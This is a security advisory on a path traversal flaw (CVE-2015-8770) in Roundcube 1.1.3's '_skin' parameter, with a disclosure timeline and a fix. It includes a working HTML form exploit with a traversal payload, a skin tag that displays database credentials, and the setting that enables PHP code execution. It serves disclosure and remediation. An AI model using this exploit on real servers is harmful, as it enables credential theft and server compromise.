Total Tests:

Remote Code Execution in Roundcube

Advisory ID:HTB23283
Product:Roundcube
Vendor:Roundcube.net
Vulnerable Versions:1.1.3 and probably prior
Tested Version:1.1.3
Advisory Publication:December 21, 2015 [without technical details]
Vendor Notification:December 21, 2015
Vendor Fix:December 26, 2015
Public Disclosure:January 13, 2016
Latest Update:December 26, 2015
Vulnerability Type:Path Traversal [CWE-22]
CVE Reference:CVE-2015-8770
Risk Level:Medium
CVSSv2 Base Score:5.3 [CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:L]
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge Security Research Lab discovered a path traversal vulnerability in a popular webmail client Roundcube. Vulnerability can be exploited to gain access to sensitive information and under certain circumstances to execute arbitrary code and totally compromise the vulnerable server.

The vulnerability exists due to insufficient sanitization of "_skin" HTTP POST parameter in "/index.php" script when changing between different skins of the web application. A remote authenticated attacker can use path traversal sequences (e.g. "../../") to load a new skin from arbitrary location on the system, readable by the webserver.

A simple exploit below will send HTTP POST request to vulnerable script and will load a new skin from "/tmp" folder:

<form action="http://[HOST]/" method="post" name="main">
<input type="hidden" name="_token" value="[TOKEN]">
<input type="hidden" name="_framed" value="1">
<input type="hidden" name="_task" value="settings">
<input type="hidden" name="_action" value="save-prefs">
<input type="hidden" name="_section" value="general">
<input type="hidden" name="_language" value="en_US">
<input type="hidden" name="_timezone" value="auto">
<input type="hidden" name="_time_format" value="H:A">
<input type="hidden" name="_date_format" value="Y-m-d">
<input type="hidden" name="_pretty_date" value="1">
<input type="hidden" name="_refresh_interval" value="1">
<input type="hidden" name="_skin" value="../../../../../../../../tmp">
<input value="submit" id="btn" type="submit" />
</form>


Exploitation of the vulnerability requires valid user credentials and ability to create files on vulnerable host.

Using specially crafted skin for Roundcube, a remote attacker can gain access to potentially sensitive information. The following code in skin files will display database access credentials:

<roundcube:var name="config:db_dsnw" />

In case, when "skin_include_php" parameter is set to true, the attacker will be able to execute arbitrary PHP code from the skin files:

$config['skin_include_php'] = true;

This vulnerability is difficult to exploit since it requires ability to create files on the web server and a valid Roundcube account. But this situation is very common for shared hosting servers, that host clients' websites on the same server as Roundcube.

How to Detect Path Traversal Vulnerabilities
Website Security Test
  • GDPR & PCI DSS Test
  • Website CMS Security Test
  • CSP & HTTP Headers Check
  • WordPress & Drupal Scanning
Try For Free

Solution:
Update to Roundcube 1.1.4

https://roundcube.net/news/2015/12/26/updates-1.1.4-and-1.0.8-released/


References:
[1] High-Tech Bridge Advisory HTB23283 - https://www.immuniweb.com/advisory/HTB23283 - RCE in Roundcube
[2] Roundcube - https://roundcube.net/ - Free and Open Source Webmail Software
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - Leveraging the power of machine-learning and genius of human brain to deliver the most advanced web application security and penetration testing.
[6] ImmuniWeb® SSLScan - Test your servers for security and compliance with PCI DSS, HIPAA and NIST.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
Book a Call Ask a Question
Close
Talk to ImmuniWeb Experts
ImmuniWeb AI Platform
Have a Technical Question?

Our security experts will answer within
one business day. No obligations.

Have a Sales Question?
Email:
Tel: +41 22 560 6800 (Switzerland)
Tel: +1 720 605 9147 (USA)
*
*
*
*
Your data will stay private and confidential